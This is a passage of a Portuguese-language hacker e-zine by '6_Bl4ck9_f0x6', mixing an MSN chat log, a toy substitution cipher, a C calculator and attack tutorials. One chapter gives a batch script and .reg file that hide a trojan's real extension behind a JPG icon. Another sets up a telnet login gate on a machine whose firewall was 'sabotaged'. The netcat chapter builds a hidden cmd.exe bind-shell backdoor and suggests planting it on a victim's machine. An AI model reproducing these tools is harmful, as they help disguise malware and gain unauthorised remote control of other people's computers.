ECHO ============================ & echo. set reader=y & set reader2=n set /p escolha=Quer continuar? y/n if /I %escolha% EQU %reader% ( GOTO :Starting) if /I %escolha% EQU %reader2% ( GOTO :Adeus) IF %ERRORLEVEL% NEQ %reader% GOTO :Sinck IF %ERRORLEVEL% NEQ %reader2% GOTO :Sinck :Starting echo. & pause & cls echo 6_Bl4ck9_f0x6 diz: &echo. & echo Preencha os dados abaixo & echo. set /p extensao=Digite a extensao que seu trojan ou virus tera - [Exemplo, fox]: ASSOC .%extensao%=Master echo Ext: .%extensao% >> Extensoes.log echo Extensao .%extensao% OK! echo. & pause & cls echo Associando descricao de imagem JPG a sua extensao... reg add HKEY_CLASSES_ROOT\Master /ve /t REG_SZ /d "Imagem no formato JPG" /f echo. echo Associando valor sequencial para extensao fantasma a sua extensao... reg add HKEY_CLASSES_ROOT\Master /v NeverShowExt /t REG_SZ /f echo. echo Associando icone de imagem JPG a sua extensao... reg add HKEY_CLASSES_ROOT\Master\DefaultIcon /ve /t REG_SZ /d "shimgvw.dll,3" /f echo. echo Transformando sua extensao em aplicativo... reg add HKEY_CLASSES_ROOT\Master\shell\open\command /ve /t REG_SZ /d "\"%%1\" %%*" /f echo. & pause :Adeus cls &echo. echo 6_Bl4ck9_f0x6 diz: &echo. & echo Obrigado por estar usando o F.E.M amigo =) & echo. pause & exit :Sinck msg * Desculpe %username% a opcao '%escolha%' e invalida & pause cls & goto :Pergunta ------ Corte aqui ------ Desenvolvi um esquema de backup de extensões que voce cria, tipo assim, o F.E.M cria a extensao, adiciona icone de JPG a ela, adiciona descrição de JPG a sua extensao, oculta a real extensao de seus virus e trojans e ainda cria um arquivozinho onde fica logado todas as extensões que voce criou =) Meu script é bastante eficiente amigos ;] Vamos agora a um exemplo de utilização. Seu trojan se chama - > trojan.exe Mude a extensão 'exe' para a extensão que voce criou, nomeando o arquivo assim: trojan.JPG.fox Nesse caso a extensão 'fox' vai desaparecer e o nome do arquivo vai estar parecendo a extensão (trojan.JPG =). Lembrando que mesmo voce configurando o windows para visualizar extensões dos arquivos, a sua extensão não vai ser exibida de forma alguma. Ta ae o .reg ------ F. E. M - v1.0.reg ------ Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOT\.Sinck] @="Master" [HKEY_CLASSES_ROOT\Master] @="Imagem no formato JPG" "NeverShowExt"="" [HKEY_CLASSES_ROOT\Master\DefaultIcon] @="shimgvw.dll,3" [HKEY_CLASSES_ROOT\Master\shell] [HKEY_CLASSES_ROOT\Master\shell\open] [HKEY_CLASSES_ROOT\Master\shell\open\command] @="\"%1\" %*" ------ Cut here ------ Boa sorte amigo ;-) ----- C4p1Tul0 11 [=] + =======xx==============xx=========== + [=] +++ . Telnet Secure . +++ by 6_Bl4ck9_f0x6 [=] + =======xx=============xx============ + [=] Hi! Vamos supor que por algum motivo voces precisam abrir a porta telnet do seu desgraçado windows, tabom tabom, é uma possibilidade muito remota, mas.... Ainda sim existe (nem Deus disse: dessa agua não bebereis... ou algo assim). Vamos mais alem, tipo assim, voces fizeram uma operação sabotagem no sistema do maluco e tudo mais, mataram o firewall do XP (net stop sharedaccess) e a porta ta lá abertinha só esperando alguém entrar (hum...), mas voce não quer que ninguem mais entre, o que voce faz? Voce muda a porta padrão para tentar DIFICULTAR a identificação do serviço, mas o cara usa um scan e pega o service em ou porta, o que que voce faz? Desabilita o telnet? Não, voce usa meu script baby =) notepad \WINDOWS\system32\login.cmd -- > Abre ele ---- login.cmd ---- @echo off rem rem Script de login global padrao para Telnet Server rem rem Na instala‡ao padrao, este script de comandos ‚ executado rem quando o shell de comandos inicial ‚ chamado. Ele tenta rem entao chamar o script de logon do usu rio individual. rem rem set password=luzinha &ReM <-- Defina a senha aqui gente boa rem title Login Duplo v1.0 by 6_Bl4ck9_f0x6 & color a set password=luzinha :Star cls ECHO [FOX]=----------x----------x----------=[FOX] & ECHO. ECHO --X---- Login Duplo v1.0 ---x-- ECHO +BY+ ECHO 6_Bl4ck9_f0x6 & ECHO. ECHO +X+ I love luz* +X+ ECHO [FOX]=----------x----------x----------=[FOX] ECHO. set /p senha=Digite sua senha: if /I "%senha%" EQU "%password%" (goto start) else (goto Err) :Err msg * '%username%' a senha '%senha%' esta incorreta! Tente novamente & cls & goto Star :Start cls ECHO ==========X==========X==========X========== ECHO x PRONTO x ECHO ==========X==========X==========X========== pause & cls echo *=============================================================== echo Bem-vindo a Black Machine e tenha cuidado com o que faz echo *=============================================================== ---- cut here ---- Se quizerem, poderão inserir um esquema do login case e tudo mais eheh, basta tirar o /I da frente do comando mais manjado do mundo para controle de fluxo --> IF. O bom disso é que no momento que os caras tão tentando descobrir a senha, voce ta vendo as senhas que eles tão usando, 'em tempo real', isso ai é bom pra voce saber se o cara sabe o nome de sua namorada ou esposa rsrs ;-) Simples =). Adios main freuds ;] by 6_Bl4ck9_f0x6 ----- C4p1Tul0 12 XxXxX============================XxXxX O Banimento nunca existiu XP XxXxX============================XxXxX Na edição anterior voces viram que eu estava revoltado pelo banimento de meu amigo Cloudy, mas o que eu não sabia é que ele não tinha sido banido do forum rsrs. Olhem ae a conversa. Starting.... [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 está na conversa. David diz: diz pro cloudy que tu num baniu ele David diz: diz reeves David diz: ele ta achando agora David diz: eu tambem achava [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: O phabia me baniu [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: phobia* David diz: ? David diz: serio? David diz: e verdade reeves? Você acabou de pedir a atenção. Reeves ¬¬ diz: nao David diz: o cloudy ta ficando doido David diz: lol David diz: da a senha do cara agora David diz: sacanagem isso ae David diz: http://www.hunterhacker.xpg.com.br/F.E.M.rar David diz: lol David diz: cloudy David diz: trata de baixar meu video ae David diz: rsrsrs [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: Aliás [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: Eu tenho que falar com o DG [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: Ele disse que quer excluir meus "fakes" (HadeS, Fear e Amilly) David diz: filho da puta [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: E disse que não tem como passar os posts pro Cloudy ¬¬ Reeves ¬¬ diz: fdp nada, fakes nao pode David diz: ele num tem o direito de fazer isso com meu amiguinho pokemon David diz: rsrsrsrs Reeves ¬¬ diz: bloqueamos o cloudy pq vc empresto a conta pro david [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: Eu sei David diz: aff David diz: ei galera Reeves ¬¬ diz: então David diz: vamos falar da...... David diz: LUZINHA? David diz: hauhaua David diz: estou apaixonado David diz: rsrsrs David diz: da o canto devolta pra ele reeves Reeves ¬¬ diz: envez de excluir seus fakes, só bloquear eles e deixar o cloudy livre resolve David diz: yes David diz: pelo menos isso [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: Por mim pode excluir [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: Mas passa os posts pro user Cloudy David diz: eu quero meu login outra vez no darkers ehhe, quero meu perfil David diz: rsrsrs Reeves ¬¬ diz: eu vou ver David diz: to com saudade do rog David diz: rsrsrsrrs David diz: amo aquele gato loco David diz: hauahuaha Reeves ¬¬ diz: saudade do rog pq se ele ta no invaders tbm ? David diz: la ele num reaje David diz: rsrsrs David diz: xingo ele e nada David diz: desistir David diz: rsrsrs David diz: Ei cloudy David diz: baixou o video porra!!! David diz: rsrsrs Você acabou de pedir a atenção. [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: Pera ai Reeves ¬¬ diz: cloudy fica velho dia 7 de fevereiro Reeves ¬¬ diz: q meigo David diz: rsrsrs Reeves ¬¬ diz: :] David diz: vou postar isso na zine David diz: ei ei ei [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: É cara... David diz: vou publicar nossa conversa David diz: hauhauhha [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: 16 anos nas costas Reeves ¬¬ diz: quantos anos kra? David diz: vai ser legal David diz: hauhauha Reeves ¬¬ diz: só.. David diz: so David diz: num sabia naum reeves? [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: Graças a deus David diz: seu melhor usuario David diz: hauhauhauha Reeves ¬¬ diz: affzzz Reeves ¬¬ diz: cada boca David diz: EI cloudy David diz: 1 MB porra!! David diz: huahuahuha Reeves ¬¬ diz: eu sei a idade dele.. Reeves ¬¬ diz: ele disse nas costas Reeves ¬¬ diz: eu disse só David diz: Ei reeves David diz: num ferra Reeves ¬¬ diz: pq tenho mto mais nas costas Reeves ¬¬ diz: uhauhauahauhahuaaa David diz: Num foi voce que deu uma trepadinha David diz: Huahuahuaha David diz: a mina ta me chamando David diz: hauhauhah Reeves ¬¬ diz: uhauhauhauhUHAa Reeves ¬¬ diz: vai la David diz: galera David diz: vou publicar nossa conversa David diz: rsrsr David diz: pra mostrar que eu estava enganado com ralação ao banimento do cloudy Reeves ¬¬ diz: nem... David diz: fui... David diz: tenho uma pepitinha pra traçar Reeves ¬¬ diz: nem publique David diz: Ei cloudy David diz: cloudy Você acabou de pedir a atenção. David diz: Cloudy!!!!!!!!!!!! [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: Diga David diz: vou indo e meus parabens ae, que deus lhe de muitas invasoes David diz: hauhauhauh David diz: Deus David diz: hauhauha David diz: sacou? [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: Hauhauhauhuahuahauhauha David diz: hauhauhauha David diz: Ei galera David diz: voces sabia que agora meu idolo e o BSDaemon? David diz: hauhuah David diz: decidi que vou ser melhor que ele Huahuahauh daqui a 10 anos eu consigo David diz: hauhauha David diz: xau pessoal [b][c=6]#[/c] ·$1'André ; Carioca... ²² ~ ·$6s2·$1*[/b]·$0 diz: Xauzin Reeves ¬¬ diz: adios.. Isso é o que eu chamo de uma BELA CAGADA!!! Não façam como eu fiz, não tirem conclusões precipitadas antes de analisar os fatos, caso contrario voce pode acabar como eu XP rsrs. ----- C4p1Tul0 13 xXx=============================xXx Emperial Encripter xXx=============================xXx Eu sei o que vc's devem estar pensando. Tipo -> Esse maluco eh o maior sem imaginação, maluco vive botando nome de emperial num sei oq, enperial num sei das quantas, e tals. Mas eu não ligo para vc's :P. Enfim, os CODE's sao meus e por isso faz isso: -> Vaum ToMaR no cuh <- eheheh!!! Esse algoritimo de criptografia eh baseado no mesmo algoritimo de Julio Cezar do emperio Romano, tipo, para enviar mensagens para a galera ele usava o método de subistituição, ou seja, um cripto-analista teria serios problemas caso ele ainda não tivesse conseguido textos decriptados =) O que? Nao sabe do que eu estou falando? Tipo, eu quiz dizer que é criptografia da boa! ===================================== Descriptografem essa mensagem: y[~ k) +E )A ;=~[ "79[ :=;;[U 5# ===================================== Agora vamos aos algoritimos como dizem os universitarios cheios de espirito hacku :P Ei ei ei, nao revisei o code naum galera, achu que quando eu usava alguns smiles dava pal, dae fiquei de sacu cheio de codar o cript e num testei mais naum, mas as letras ta deboa =) Pelo visto achu que vou ter que deixar algumas letras originais mesmo, por questões de compatibilidade e tals, mas não se preocupem, basta deixar as mensagens decriptadas longe das encriptadas por causa dos potentes -> S's -> Cripto-Analista <- ;) OBS: S's vem de Sangue sugas da porra!! :P No code do encript tem um bug de heap overflow...XP Usei o gets e tals, pois quem diabos vai perder tempo exploitando um bug num file desses? Afz hauhauh!! Mas tem doido pra tudo né.... :P ------ Emp_Encript.c ------ /* [XxX -> x]+===x==X==x===x+[x <- XxX] * *** Viper Corp *** * -> Obrigado a todos <- * [x <-> XxX]+===x==X==x===x+[XxX <-> x] * * Emperial Encripter [Emp_Encript.c] v0.1 * by * 6_Bl4ck9_f0x6 * * * Atenção: Esta é a ferramenta 'encriptadora', para * 'decriptar' voce precisa do -> Emp_Dcript.c <-- que * pode ser obtido em: * * http://www.hunterhacker.xpg.com.br/Emp_Dcript.c.diz * ou em * http://www.explinter.orgfree.com/Emp_Dcript.c.diz */ #include #include #include int banner (){ SetConsoleTitle ("Emperial Encripter by 6_Bl4ck9_f0x6"); char *banner[]={ "[=] + ==========[####]============ + [=]\n", " *** Emperial Encripter ***\n", " XxX VIPER CORP GROUP XxX\n", " <-> Underground Max <->", "[=] + ==========[####]============ + [=]\n"}; printf ("%s%s%s%s\n\n", banner[0], banner[1], banner[2], banner[4]);} int main (void){ system ("cls"); banner (); FILE *output; output = fopen ("String's_encript.diz", "w"); if (!output){ perror ("Erro:"); fprintf (stderr, "\nNao consegui criar o arquivo\ com a(s) string(s) encriptada(s)\n"); exit (-1);} int i=0; char string_s[1000]; fprintf (stdout, "\nEntre com sua string\ [Max 9999 caracteres]:\n\n"); gets (string_s); for (i;string_s[i] != '\0';i++){ if (string_s[i] == 'A'){ string_s[i]='*';} else if (string_s[i] == 'a'){ string_s[i]='[';} else if (string_s[i] == 'B'){ string_s[i]='$';} else if (string_s[i] == 'b'){ string_s[i]='!';} else if (string_s[i] == 'C'){ string_s[i]='8';} else if (string_s[i] == 'c'){ string_s[i]='+';} else if (string_s[i] == 'D'){ string_s[i]='@';} else if (string_s[i] == 'd'){ string_s[i]='k';} else if (string_s[i] == 'E'){ string_s[i]='%';} else if (string_s[i] == 'e'){ string_s[i]=')';} else if (string_s[i] == 'F'){ string_s[i]='6';} else if (string_s[i] == 'f'){ string_s[i]='"';} else if (string_s[i] == 'G'){ string_s[i]='4';} else if (string_s[i] == 'g'){ string_s[i]='1';} else if (string_s[i] == 'H'){ string_s[i]='?';} else if (string_s[i] == 'h'){ string_s[i]='A';} else if (string_s[i] == 'I'){ string_s[i]='T';} else if (string_s[i] == 'i'){ string_s[i]='7';} else if (string_s[i] == 'J'){ string_s[i]='P';} else if (string_s[i] == 'j'){ string_s[i]='&';} else if (string_s[i] == 'L'){ string_s[i]='Z';} else if (string_s[i] == 'l'){ string_s[i]='~';} else if (string_s[i] == 'M'){ string_s[i]='y';} else if (string_s[i] == 'm'){ string_s[i]='{';} else if (string_s[i] == 'N'){ string_s[i]='q';} else if (string_s[i] == 'n'){ string_s[i]='9';} else if (string_s[i] == 'O'){ string_s[i]='^';} else if (string_s[i] == 'o'){ string_s[i]='=';} else if (string_s[i] == 'P'){ string_s[i]='#';} else if (string_s[i] == 'p'){ string_s[i]=':';} else if (string_s[i] == 'Q'){ string_s[i]='-';} else if (string_s[i] == 'q'){ string_s[i]=']';} else if (string_s[i] == 'R'){ string_s[i]='F';} else if (string_s[i] == 'r'){ string_s[i]=';';} else if (string_s[i] == 'S'){ string_s[i]='2';} else if (string_s[i] == 's'){ string_s[i]='h';} else if (string_s[i] == 'T'){ string_s[i]='.';} else if (string_s[i] == 't'){ string_s[i]=',';} else if (string_s[i] == 'U'){ string_s[i]='3';} else if (string_s[i] == 'u'){ string_s[i]='E';} else if (string_s[i] == 'V'){ string_s[i]='<';} else if (string_s[i] == 'v'){ string_s[i]='|';} else if (string_s[i] == 'W'){ string_s[i]='Y';} else if (string_s[i] == 'w'){ string_s[i]='X';} else if (string_s[i] == 'X'){ string_s[i]='G';} else if (string_s[i] == 'x'){ string_s[i]='5';} else if (string_s[i] == 'Y'){ string_s[i]='/';} else if (string_s[i] == 'y'){ string_s[i]='}';} else if (string_s[i] == 'Z'){ string_s[i]='n';} else if (string_s[i] == 'z'){ string_s[i]='I';} else if (string_s[i] == '!'){ string_s[i]='U';} else if (string_s[i] == ','){ string_s[i]='D';} else if (string_s[i] == '.'){ string_s[i]='L';} } fprintf (output, "%s", string_s); fclose (output); system ("cls"); banner(); fprintf (stderr, "6_Bl4ck9_f0x6 diz:\n\n"); puts ("String(s) encriptada(s) com sucesso!\n"); system ("pause"); return (0);} --- cute nessa porra Here! --- Ai vai o Dcripter minha gente, ei ei ei, vale lembrar ai pra voces que essas são minhas subistituições... voces podem... ou melhor, devem fazer! suas proprias, não usem o default, pois pode existir outros leitores da zine que podem ser seus conhecidos no orkut e tals, dai eles podem decriptar suas msg's, por isso -> Faça seu proprio algoritimo baseado no meu e no do Julio Cezar do Emperio Romano =) --- Emp_Dcript.c --- /* [XxX -> x]+===x==X==x===x+[x <- XxX] * *** Viper Corp *** * -> Obrigado a todos <- * [x <-> XxX]+===x==X==x===x+[XxX <-> x] * * Emperial Encripter [Emp_Dcript.c] v0.1 * by * 6_Bl4ck9_f0x6 * * * Atenção: Esta é a ferramenta 'decriptadora', para * 'encriptar' voce precisa do -> Emp_Encript.c <- que * pode ser obtido em: * * http://www.hunterhacker.xpg.com.br/Emp_Encript.c.diz * ou em * http://www.explinter.orgfree.com/Emp_Encript.c.diz */ #include #include int banner (){ char *banner[]={ "[=] + ==========[####]============ + [=]\n", " *** Emperial Encripter ***\n", " XxX VIPER CORP GROUP XxX\n", " <-> Underground Max <->", "[=] + ==========[####]============ + [=]\n"}; printf ("%s%s%s%s\n\n", banner[0], banner[1], banner[2], banner[4]);} int main (int argc, char *argv[]){ system ("cls"); banner (); if ( (argc < 3) || (argc > 3) ){ fprintf (stderr, "Uso: %s \n", argv[0]); exit (0);} char reader; FILE *input; FILE *output; if ((input = fopen (argv[1], "r")) == NULL){ perror ("Erro"); fprintf (stderr, "\nNao consegui abrir o \ arquivo -> %s <- para leitura\n", argv[1]); exit (-1);} else if ((output = fopen (argv[2], "w")) == NULL){ fprintf (stderr, "\nNao consegui escrever \ a saida decriptada no arquivo -> %s <-\n", argv[2]); exit (-1);} while ((reader = getc (input) ) != EOF){ if (reader == '*'){ reader='A';} else if (reader == '['){ reader='a';} else if (reader == '$'){ reader='B';} else if (reader == '!'){ reader='b';} else if (reader == '8'){ reader='C';} else if (reader == '+'){ reader='c';} else if (reader == '@'){ reader='D';} else if (reader == 'k'){ reader='d';} else if (reader == '%'){ reader='E';} else if (reader == ')'){ reader='e';} else if (reader == '6'){ reader='F';} else if (reader == '"'){ reader='f';} else if (reader == '4'){ reader='G';} else if (reader == '1'){ reader='g';} else if (reader == '?'){ reader='H';} else if (reader == 'A'){ reader='h';} else if (reader == 'T'){ reader='I';} else if (reader == '7'){ reader='i';} else if (reader == 'P'){ reader='J';} else if (reader == '&'){ reader='j';} else if (reader == 'Z'){ reader='L';} else if (reader == '~'){ reader='l';} else if (reader == 'y'){ reader='M';} else if (reader == '{'){ reader='m';} else if (reader == 'q'){ reader='N';} else if (reader == '9'){ reader='n';} else if (reader == '^'){ reader='O';} else if (reader == '='){ reader='o';} else if (reader == '#'){ reader='P';} else if (reader == ':'){ reader='p';} else if (reader == '-'){ reader='Q';} else if (reader == ']'){ reader='q';} else if (reader == 'F'){ reader='R';} else if (reader == ';'){ reader='r';} else if (reader == '2'){ reader='S';} else if (reader == 'h'){ reader='s';} else if (reader == '.'){ reader='T';} else if (reader == ','){ reader='t';} else if (reader == '3'){ reader='U';} else if (reader == 'E'){ reader='u';} else if (reader == '<'){ reader='V';} else if (reader == '|'){ reader='v';} else if (reader == 'Y'){ reader='W';} else if (reader == 'X'){ reader='w';} else if (reader == 'G'){ reader='X';} else if (reader == '5'){ reader='x';} else if (reader == '/'){ reader='Y';} else if (reader == '}'){ reader='y';} else if (reader == 'n'){ reader='Z';} else if (reader == 'I'){ reader='z';} else if (reader == 'U'){ reader='!';} else if (reader == '('){ reader=',';} else if (reader == 'L'){ reader='.';} else if (reader == 'D'){ reader=',';} putc (reader, output);} fprintf (stderr, "6_Bl4ck9_f0x6 diz:\n\n"); puts ("String(s) decriptada(s) com sucesso!\n"); fclose (input); fclose (output); return (0);} -- end -- ----- C4p1Tul0 14 xXx=============================xXx The King of calculators xXx=============================xXx Hi! Estou trazendo mais uma calculadora maneira proces rsrs, já foi calc em batch e js, hoje vai rolar uma em C, aeee!!! Espero que gostem, pois passei uns 10 minutos fazendo essa porcaria, ei ei ei, a famosa função system ta na area e meu velho ingles de butiquim também XP, puta merda, dei uma americanizada totalmente vagabunda no code da calc, só pra deixar a parada mais maneira ^^. Todo mundo diz que o que é escrito em ingles tem mais valor porra hauhauah!!! Então vamos valorizar 10 min do meu precioso tempo, sou um homem muito ocupado rsrsr ^^ (Que mentira da porra!! Passo o dia sem fazer nada rsrs). --------- foxCalc.c --------- #include #include #include int divisao (int a, int b){ printf ("The result is: %d\n\a", (a / b)); printf ("Press Any Key For Exit..."); system ("pause > nul");} int multiplicacao (int valor1, int valor2){ printf ("The result is: %d\n\a", (valor1 * valor2)); printf ("Press Any Key For Exit..."); system ("pause > nul");} int subtracao (int valor1, int valor2){ printf ("The result is: %d\n\a", (valor1 - valor2)); printf ("Press Any Key For Exit..."); system ("pause > nul");} int main () { int operation; Label: system ("cls"); system ("title Simple Calculator v0.1 Beta"); printf ("Simple Calculator v0.1 Beta by 6_Bl4ck9_f0x6\n\ Copyright 200*-2008 Viper Corp.\n\n\n"); printf ("======================================================\n"); printf ("Sintax:\n\n[+ = somar] [- = subtrair] [* = multiplicar] \ [/ = dividir]\n\n"); printf ("======================================================\n"); printf ("Write your operator:"); scanf ("%c", &operation); if (operation == '+') { int numberone, numbertwo; system ("cls"); printf ("This is your operator (+)\n\n"); printf ("Write first number and press enter:"); scanf ("%d", &numberone); printf ("Write secound number and press enter:"); scanf ("%d", &numbertwo); printf ("\n%d + %d = %d\n\n", numberone, numbertwo,(numberone + numbertwo)); printf ("Press Any Key For Exit..."); system ("pause > nul"); return (0); } else if (operation == '-') { int numberone, numbertwo; system ("cls"); printf ("This is your operator (-)\n\n"); printf ("Write first number and press enter:"); scanf ("%d", &numberone); printf ("Write secound number and press enter:"); scanf ("%d", &numbertwo); subtracao (numberone, numbertwo); return (0); } if (operation == '*') { system ("cls"); int operador1, operador2; printf ("This is your operator (*)\n\n"); printf ("Write first number and press enter:"); scanf ("%d", &operador1); printf ("Write secound number and press enter:"); scanf ("%d", &operador2); multiplicacao (operador1, operador2); return (0); } if (operation == '/') { int valor1, valor2; system ("cls"); printf ("This is your operator (/)\n\n"); printf ("Write first number and press enter:"); scanf ("%d", &valor1); printf ("Write secound number and press enter:"); scanf ("%d", &valor2); divisao (valor1, valor2); return (0); } else { system ("cls"); printf ("\n\nSorry your operator is invalid..."); Sleep (1000); goto Label; } return (0); } --------- cut --------- Eu acho que eu esqueci de alguma coisa, hum... ----- C4p1Tul0 15 [+ ====================================== +] X=======xxXxx========X -> O Imortal Netcat <- X=======xxXxx========X [+ ====================================== + []==-----------------x-------X----------x-----------------------==[] Atenção: C voce "pensa" que manja tudo do netcat e esta louco para dizer que o assunto do texto ja ta mais manjado que arroz e feijão, gostaria de dizer uma coisa for you -> Esse texto naum é para voce amigo =) Ideia extract from zine f3-06: ==> ~~~ ( * ) To gozando no cu de voceis :P []==-----------------x-------X----------x-----------------------==[] Esse texto e todos os outros que eu vinher a escrever, serão dedicados a todos os escritores de textos que um dia cheguei a ler =) Um eterno aprendiz como eu nunca seria nada sem todos voces, na verdade ninguem seria nada sem ninguem, trocamos conhecimentos para evoluir juntos, ou (quase sempre) apenas exibir nossos conhecimentos sem a menor pretenção de ajudar o proximo, escrevendo txt's de dificil compreensão por parte dos iniciantes e de curiosos que poderiam vir a ser novos talentos no nosso mundo, ou undermundo, backmundo, foremundo =) Enfim, vamos começar a baixaria -.O. Na minha mais que sincera opinião, a melhor ferramenta manoh! Se eu pegar algum filho de uma * arromb4do dizendo que o netcat num presta, eu soco uma torradeira no * desse fdp.Cof! Cof! Desculpem a baixaria, agora to + calmo =) Voce pode fazer muuitas coisas com o netcat, quando digo muitas, eu quero dizer "muuuuitas" msm. Para um help digite nc -h, vou traduzir apenas as options que iremos utilizar, pois a intenção aqui é lhe da uma boa "base" do netcat ;) C:\>nc -h [v1.11 NT www.vulnwatch.org/netcat/] connect to somewhere: nc [-options] hostname port[s] [ports] ... listen for inbound: nc -l -p port [options] [hostname] [port] options: -d detach from console, background mode -e prog inbound program to exec [dangerous!!] -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, ... -h this cruft -i secs delay interval for lines sent, ports scanned -l listen mode, for inbound connects -L listen harder, re-listen on socket close -n numeric-only IP addresses, no DNS -o file hex dump of traffic -p port local port number -r randomize local and remote ports -s addr local source address -t answer TELNET negotiation -u UDP mode -v verbose [use twice to be more verbose] -w secs timeout for connects and final net reads -z zero-I/O mode [used for scanning] port numbers can be individual or ranges: m-n [inclusive] Baixem o netcat aqui: v1.11 NT http://www.hunterhacker.xpg.com.br/22.zip Voce pode entrar no diretorio dos arquivos do nc usando o 'cd', ou mesmo ajustar seu PATH para encontrar o diretorio do rapaz. Sem duvida uma das formas de utilização mais rapidas e menos cheias de frescura, é extrair para o system32 =) Ou seja, baixou -> extract for system32 ;) Ja que vc's viram o 'system32', isso significa que iremos utilizar qual OS? Aeee! Se vc respondeu -> win <- ganhou um beijinho imaginario (claro!) :P Mas... ainda nesse texto abordaremos a instalação e utilização do netcat em -> Unixes like <- da vida, pois como sempre, se tu começar no win, fica mais facil mecher nos -> Unixes like da vida <-, tipo, eu mostro a utilização no win e depois (que voces entenderem) é só adaptar pequenas coisinhas para o netcat funcionar nos -> Unixes like da vida <-, são pequenos detalhes como a opção '-L' (Ei <-- Isso é case =) que não rebindeia a porta apos a encerramento da conexão, porque os Unixes -> like da vida <- são muito fulero's, mas tambem tem a questao das portas no -> Unixes like da vida <-, porque abaixo de 1024 só root tem permissões para bindear uma porta. Eh amigo, o -> Unix like da vida <- é fogo =) Continuando... Vamos a algumas options traduzidas e adaptadas by me (:]) manoh! ======================================================== -d -> Com essa porra o netcat fica rodando em background. -e -> Posso manipular um program para que o user mecha quando ele der um TCP connect na door em listen. -l -> Abre uma porta, quando o maluco desconectar ela fica fechada -L -> TB Abre abre uma porta, mas dessa vez a porta vai reabrir após o closesocket do maluco. -n -> Só cata number's IP, nada de DNS baby ;) -p -> Determina qual a porta que será aberta -r -> Randomize local and remote ports -u -> UDP mode -v -> Verbose do capeta manoh! Usa ai o -vv -w -> Determina um tempo limite para duração de uma conexão -z -> Num deixa o netcat ficar conectado num scan ======================================================== Backdoor Vamos fazer uma backdoor com o netcat: C:\Documents and Settings\David>nc -L -p 666 -vv -e cmd.exe listening on [any] 666 ... ------------------------------------------------- Da um telnet nessa porta -> telnet 127.0.0.1 666 ------------------------------------------------- C:\Documents and Settings\David>nc -L -p 666 -vv -e cmd.exe listening on [any] 666 ... DNS fwd/rev mismatch: localhost != Violator connect to [127.0.0.1] from localhost [127.0.0.1] 1655 La no cliente: Microsoft Windows XP [versão 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\David> Explicação: nc -L -p 666 -vv -e cmd.exe -> Manipulamos o shell que ja ta no PATH ;) <- | | | _ _ | | | | | + -> A tal da verbose para obtermos mais informações na action's | | | | | + ->Definimos que seria a porta '666' a aberta <- | | | + -> Abre a tal da porta, reabrindo a mesma depois do closesock <- | + -> Sempre usar 'nc' antes da sintaxe :] lol <- Rodando netcat na memoria Quando o server-side fecha a shell que ta recebendo a conexão, o cliente morre (dã), mas acho que isso ta na cara :P, para evitar isso foi criado a opção -d ;) nc -L -p 666 -d -e cmd.exe Sempre que o cliente conecta vai ter uma shell esperando ele =) Lembrando que até a vitima fazer logoff ou algo do tipo :P, mas voce pode iniciar o bicho na maquina usando o reg add e compilando um batch em aplicação fantasma. Para matar pegue a pid do garoto: C:\Documents and Settings\David>tasklist Nome da imagem Identi Nome da sessão Sessão# Uso de memór ========================= ====== ================ ======== ============ System Idle Process 0 Console 0 20 K System 4 Console 0 48 K smss.exe 680 Console 0 44 K csrss.exe 736 Console 0 1.100 K winlogon.exe 760 Console 0 2.912 K services.exe 808 Console 0 1.284 K lsass.exe 820 Console 0 1.320 K explorer.exe 260 Console 0 12.880 K HackerEliminator.exe 1164 Console 0 5.568 K ashDisp.exe 1212 Console 0 660 K msdtc.exe 1584 Console 0 56 K Abel.exe 1708 Console 0 48 K aswUpdSv.exe 1860 Console 0 52 K ashServ.exe 1900 Console 0 1.564 K inetinfo.exe 1960 Console 0 1.220 K PGPsdkServ.exe 1992 Console 0 1.020 K locator.exe 336 Console 0 28 K snmp.exe 376 Console 0 420 K tlntsvr.exe 548 Console 0 48 K wdfmgr.exe 592 Console 0 40 K winvnc4.exe 1376 Console 0 700 K vmnetdhcp.exe 824 Console 0 292 K cmd.exe 3268 Console 0 800 K nc.exe 3596 Console 0 1.812 K < ---- nc.exe 2764 Console 0 1.964 K < ---- tasklist.exe 3168 Console 0 4.684 K wmiprvse.exe 788 Console 0 3.980 K Achamos os processos pelas imagens (nc.exe) e temos suas PID's, vamos meter um unico tiro na's cabeça's dessa's porra's manoh! C:\Documents and Settings\David>taskkill /f /PID 3596 & taskkill /f /PID 2764 & echo Bang! ÊXITO: o processo com PID 3596 foi encerrado. ÊXITO: o processo com PID 2764 foi encerrado. Bang! -n -> Only Numerical :P (inglish vagabundo =) DNS fwd/rev mismatch: localhost != Violator connect to [127.0.0.1] from localhost [127.0.0.1] 2256 --> Sem -n <-- C:\Documents and Settings\David>nc -L -n -p 666 -vv -e cmd.exe listening on [any] 666 ... connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 1760 --> Com o -n <-- ------ > Engraçadamente netcat < ------ Isso ae é baum proces zuarem com seus manow's: --- sangue_baum.bat --- 